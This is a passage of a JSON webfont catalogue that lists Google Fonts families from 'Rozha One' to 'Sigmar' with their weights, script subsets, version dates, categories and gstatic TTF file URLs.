One","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rozhaone/v8/AlZy_zVFtYP12Zncg2khdXf4XB0Tow.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rubik","variants":["300","regular","500","600","700","800","900","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","hebrew","latin","latin-ext"],"version":"v11","lastModified":"2020-09-29","files":{"300":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-WYi1UE80V4bVkA.ttf","regular":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-B4i1UE80V4bVkA.ttf","500":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-NYi1UE80V4bVkA.ttf","600":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-2Y-1UE80V4bVkA.ttf","700":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-4I-1UE80V4bVkA.ttf","800":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-h4-1UE80V4bVkA.ttf","900":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-ro-1UE80V4bVkA.ttf","300italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8sDE0UwdYPFkJ1O.ttf","italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8tdE0UwdYPFkJ1O.ttf","500italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8tvE0UwdYPFkJ1O.ttf","600italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8uDFEUwdYPFkJ1O.ttf","700italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8u6FEUwdYPFkJ1O.ttf","800italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8vdFEUwdYPFkJ1O.ttf","900italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8v0FEUwdYPFkJ1O.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rubik Mono One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rubikmonoone/v9/UqyJK8kPP3hjw6ANTdfRk9YSN-8wRqQrc_j9.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ruda","variants":["regular","500","600","700","800","900"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJFsi_-2KiSGg-H.ttf","500":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJ3si_-2KiSGg-H.ttf","600":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKbtS_-2KiSGg-H.ttf","700":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKitS_-2KiSGg-H.ttf","800":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLFtS_-2KiSGg-H.ttf","900":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLstS_-2KiSGg-H.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rufina","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rufina/v8/Yq6V-LyURyLy-aKyoxRktOdClg.ttf","700":"http://fonts.gstatic.com/s/rufina/v8/Yq6W-LyURyLy-aKKHztAvMxenxE0SA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Ruge Boogie","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rugeboogie/v11/JIA3UVFwbHRF_GIWSMhKNROiPzUveSxy.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ruluko","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ruluko/v8/xMQVuFNZVaODtm0pC6WzKX_QmA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rum Raisin","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rumraisin/v8/nwpRtKu3Ih8D5avB4h2uJ3-IywA7eMM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ruslan Display","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ruslandisplay/v11/Gw6jwczl81XcIZuckK_e3UpfdzxrldyFvm1n.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Russo One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/russoone/v9/Z9XUDmZRWg6M1LvRYsH-yMOInrib9Q.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ruthie","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ruthie/v11/gokvH63sGkdqXuU9lD53Q2u_mQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Rye","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rye/v8/r05XGLJT86YDFpTsXOqx4w.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sacramento","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sacramento/v8/buEzpo6gcdjy0EiZMBUG0CoV_NxLeiw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Sahitya","variants":["regular","700"],"subsets":["devanagari","latin"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sahitya/v5/6qLAKZkOuhnuqlJAaScFPywEDnI.ttf","700":"http://fonts.gstatic.com/s/sahitya/v5/6qLFKZkOuhnuqlJAUZsqGyQvEnvSexI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sail","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sail/v11/DPEjYwiBxwYJFBTDADYAbvw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Saira","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/saira/v5/mem-Ya2wxmKQyNFETZY_VrUfTck.ttf","200":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNHobLYVeLkWVNBt.ttf","300":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNGMb7YVeLkWVNBt.ttf","regular":"http://fonts.gstatic.com/s/saira/v5/memwYa2wxmKQyOkgR5IdU6Uf.ttf","500":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNHUbrYVeLkWVNBt.ttf","600":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNH4abYVeLkWVNBt.ttf","700":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNGcaLYVeLkWVNBt.ttf","800":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNGAa7YVeLkWVNBt.ttf","900":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNGkarYVeLkWVNBt.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Saira Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRMQgErUN8XuHNEtX81i9TmEkrnwetA2omSrzS8.ttf","200":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnbcpg8Keepi2lHw.ttf","300":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnCclg8Keepi2lHw.ttf","regular":"http://fonts.gstatic.com/s/sairacondensed/v6/EJROQgErUN8XuHNEtX81i9TmEkrfpeFE-IyCrw.ttf","500":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnUchg8Keepi2lHw.ttf","600":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnfc9g8Keepi2lHw.ttf","700":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnGc5g8Keepi2lHw.ttf","800":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnBc1g8Keepi2lHw.ttf","900":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnIcxg8Keepi2lHw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Saira Extra Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFsOHYr-vcC7h8MklGBkrvmUG9rbpkisrTri0jx9i5ss3a3.ttf","200":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrJ2nR3ABgum-uoQ.ttf","300":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrQ2rR3ABgum-uoQ.ttf","regular":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFiOHYr-vcC7h8MklGBkrvmUG9rbpkisrTT70L11Ct8sw.ttf","500":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrG2vR3ABgum-uoQ.ttf","600":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrN2zR3ABgum-uoQ.ttf","700":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrU23R3ABgum-uoQ.ttf","800":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrT27R3ABgum-uoQ.ttf","900":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTra2_R3ABgum-uoQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Saira Semi Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MN6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXdvaOM8rXT-8V8.ttf","200":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfDScMWg3j36Ebz.ttf","300":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXenSsMWg3j36Ebz.ttf","regular":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MD6c-2-nnJkHxyCjRcnMHcWVWV1cWRRU8LYuceqGT-.ttf","500":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXf_S8MWg3j36Ebz.ttf","600":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfTTMMWg3j36Ebz.ttf","700":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXe3TcMWg3j36Ebz.ttf","800":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXerTsMWg3j36Ebz.ttf","900":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXePT8MWg3j36Ebz.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Saira Stencil One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sairastencilone/v2/SLXSc03I6HkvZGJ1GvvipLoYSTEL9AsMawif2YQ2.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Salsa","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/salsa/v10/gNMKW3FiRpKj-imY8ncKEZez.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sanchez","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sanchez/v8/Ycm2sZJORluHnXbITm5b_BwE1l0.ttf","italic":"http://fonts.gstatic.com/s/sanchez/v8/Ycm0sZJORluHnXbIfmxR-D4Bxl3gkw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sancreek","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sancreek/v11/pxiHypAnsdxUm159X7D-XV9NEe-K.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sansita","variants":["regular","italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sansita/v5/QldONTRRphEb_-V7HBm7TXFf3qw.ttf","italic":"http://fonts.gstatic.com/s/sansita/v5/QldMNTRRphEb_-V7LBuxSVNazqx2xg.ttf","700":"http://fonts.gstatic.com/s/sansita/v5/QldLNTRRphEb_-V7JKWUaXl0wqVv3_g.ttf","700italic":"http://fonts.gstatic.com/s/sansita/v5/QldJNTRRphEb_-V7LBuJ9Xx-xodqz_joDQ.ttf","800":"http://fonts.gstatic.com/s/sansita/v5/QldLNTRRphEb_-V7JLmXaXl0wqVv3_g.ttf","800italic":"http://fonts.gstatic.com/s/sansita/v5/QldJNTRRphEb_-V7LBuJ6X9-xodqz_joDQ.ttf","900":"http://fonts.gstatic.com/s/sansita/v5/QldLNTRRphEb_-V7JJ2WaXl0wqVv3_g.ttf","900italic":"http://fonts.gstatic.com/s/sansita/v5/QldJNTRRphEb_-V7LBuJzX5-xodqz_joDQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sansita Swashed","variants":["300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-09-29","files":{"300":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW-ppbToVehmEa4Q.ttf","regular":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW7RpbToVehmEa4Q.ttf","500":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW4ZpbToVehmEa4Q.ttf","600":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW2pubToVehmEa4Q.ttf","700":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW1NubToVehmEa4Q.ttf","800":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSWzRubToVehmEa4Q.ttf","900":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSWx1ubToVehmEa4Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sarabun","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v8","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/sarabun/v8/DtVhJx26TKEr37c9YHZJmnYI5gnOpg.ttf","100italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVnJx26TKEr37c9aBBx_nwMxAzephhN.ttf","200":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YNpoulwm6gDXvwE.ttf","200italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxUl0s7iLSrwFUlw.ttf","300":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YL5rulwm6gDXvwE.ttf","300italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxNl4s7iLSrwFUlw.ttf","regular":"http://fonts.gstatic.com/s/sarabun/v8/DtVjJx26TKEr37c9WBJDnlQN9gk.ttf","italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVhJx26TKEr37c9aBBJmnYI5gnOpg.ttf","500":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YOZqulwm6gDXvwE.ttf","500italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxbl8s7iLSrwFUlw.ttf","600":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YMptulwm6gDXvwE.ttf","600italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxQlgs7iLSrwFUlw.ttf","700":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YK5sulwm6gDXvwE.ttf","700italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxJlks7iLSrwFUlw.ttf","800":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YLJvulwm6gDXvwE.ttf","800italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxOlos7iLSrwFUlw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sarala","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v4","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/sarala/v4/uK_y4riEZv4o1w9RCh0TMv6EXw.ttf","700":"http://fonts.gstatic.com/s/sarala/v4/uK_x4riEZv4o1w9ptjI3OtWYVkMpXA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sarina","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sarina/v9/-F6wfjF3ITQwasLhLkDUriBQxw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sarpanch","variants":["regular","500","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sarpanch/v6/hESy6Xt4NCpRuk6Pzh2ARIrX_20n.ttf","500":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziV0ba7f1HEuRHkM.ttf","600":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziVYaq7f1HEuRHkM.ttf","700":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziU8a67f1HEuRHkM.ttf","800":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziUgaK7f1HEuRHkM.ttf","900":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziUEaa7f1HEuRHkM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Satisfy","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/satisfy/v11/rP2Hp2yn6lkG50LoOZSCHBeHFl0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Sawarabi Gothic","variants":["regular"],"subsets":["cyrillic","japanese","latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/sawarabigothic/v8/x3d4ckfVaqqa-BEj-I9mE65u3k3NBSk3E2YljQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sawarabi Mincho","variants":["regular"],"subsets":["japanese","latin","latin-ext"],"version":"v10","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/sawarabimincho/v10/8QIRdiDaitzr7brc8ahpxt6GcIJTLahP46UDUw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Scada","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/scada/v9/RLpxK5Pv5qumeWJoxzUobkvv.ttf","italic":"http://fonts.gstatic.com/s/scada/v9/RLp_K5Pv5qumeVJqzTEKa1vvffg.ttf","700":"http://fonts.gstatic.com/s/scada/v9/RLp8K5Pv5qumeVrU6BEgRVfmZOE5.ttf","700italic":"http://fonts.gstatic.com/s/scada/v9/RLp6K5Pv5qumeVJq9Y0lT1PEYfE5p6g.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Scheherazade","variants":["regular","700"],"subsets":["arabic","latin"],"version":"v19","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/scheherazade/v19/YA9Ur0yF4ETZN60keViq1kQgt5OohvbJ9A.ttf","700":"http://fonts.gstatic.com/s/scheherazade/v19/YA9Lr0yF4ETZN60keViq1kQYC7yMjt3V_dB0Yw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Schoolbell","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/schoolbell/v11/92zQtBZWOrcgoe-fgnJIVxIQ6mRqfiQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Scope One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/scopeone/v7/WBLnrEXKYFlGHrOKmGD1W0_MJMGxiQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Seaweed Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/seaweedscript/v8/bx6cNx6Tne2pxOATYE8C_Rsoe0WJ-KcGVbLW.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Secular One","variants":["regular"],"subsets":["hebrew","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/secularone/v5/8QINdiTajsj_87rMuMdKypDlMul7LJpK.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sedgwick Ave","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sedgwickave/v6/uK_04rKEYuguzAcSYRdWTJq8Xmg1Vcf5JA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Sedgwick Ave Display","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sedgwickavedisplay/v6/xfuu0XPgU3jZPUoUo3ScvmPi-NapQ8OxM2czd-YnOzUD.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Sen","variants":["regular","700","800"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sen/v2/6xKjdSxYI9_Hm_-MImrpLQ.ttf","700":"http://fonts.gstatic.com/s/sen/v2/6xKudSxYI9__J9CoKkH1JHUQSQ.ttf","800":"http://fonts.gstatic.com/s/sen/v2/6xKudSxYI9__O9OoKkH1JHUQSQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sevillana","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sevillana/v9/KFOlCnWFscmDt1Bfiy1vAx05IsDqlA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Seymour One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/seymourone/v8/4iCp6Khla9xbjQpoWGGd0myIPYBvgpUI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Shadows Into Light","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/shadowsintolight/v10/UqyNK9UOIntux_czAvDQx_ZcHqZXBNQDcsr4xzSMYA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Shadows Into Light Two","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/shadowsintolighttwo/v8/4iC86LVlZsRSjQhpWGedwyOoW-0A6_kpsyNmlAvNGLNnIF0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Shanti","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/shanti/v12/t5thIREMM4uSDgzgU0ezpKfwzA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Share","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/share/v11/i7dEIFliZjKNF5VNHLq2cV5d.ttf","italic":"http://fonts.gstatic.com/s/share/v11/i7dKIFliZjKNF6VPFr6UdE5dWFM.ttf","700":"http://fonts.gstatic.com/s/share/v11/i7dJIFliZjKNF63xM56-WkJUQUq7.ttf","700italic":"http://fonts.gstatic.com/s/share/v11/i7dPIFliZjKNF6VPLgK7UEZ2RFq7AwU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Share Tech","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sharetech/v10/7cHtv4Uyi5K0OeZ7bohUwHoDmTcibrA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Share Tech Mono","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sharetechmono/v10/J7aHnp1uDWRBEqV98dVQztYldFc7pAsEIc3Xew.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Shojumaru","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/shojumaru/v8/rax_HiWfutkLLnaKCtlMBBJek0vA8A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Short Stack","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/shortstack/v10/bMrzmS2X6p0jZC6EcmPFX-SScX8D0nq6.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Shrikhand","variants":["regular"],"subsets":["gujarati","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/shrikhand/v6/a8IbNovtLWfR7T7bMJwbBIiQ0zhMtA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Siemreap","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/siemreap/v13/Gg82N5oFbgLvHAfNl2YbnA8DLXpe.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sigmar 